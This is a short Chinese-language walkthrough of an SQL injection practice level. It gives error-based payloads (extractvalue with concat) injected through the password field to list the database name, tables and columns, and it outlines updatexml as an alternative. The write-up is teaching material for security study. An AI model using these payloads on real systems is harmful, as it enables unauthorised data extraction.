尝试username 的注入 发现无论我们注入什么都没有结果 观察源码以及题目提示 发现此关应该是基于password的
观察源码 发现uname进行了check_input 数据增加转义字符“\”,以确保这些数据不会引起数据库错误
可以看到对用户名进行了处理 无法注入 所以我们尝试注入密码 uname=admin&passwd=admin’&submit=Submit
尝试报错注入 uname=admin&passwd=1’ and extractvalue(1,concat(0x7e,database()))# 拿到了数据库名 之后拿到了表名 uname=admin&passwd=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’)))#
拿到了字段 uname=admin&passwd=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’)))#
也可以用updataxml进行破解 原理报错注入
updatexml 函数原型:updatexml(xml_document,xpath_string,new_value) 正常语法:updatexml(xml_document,xpath_string,new_value) 第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串 第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
|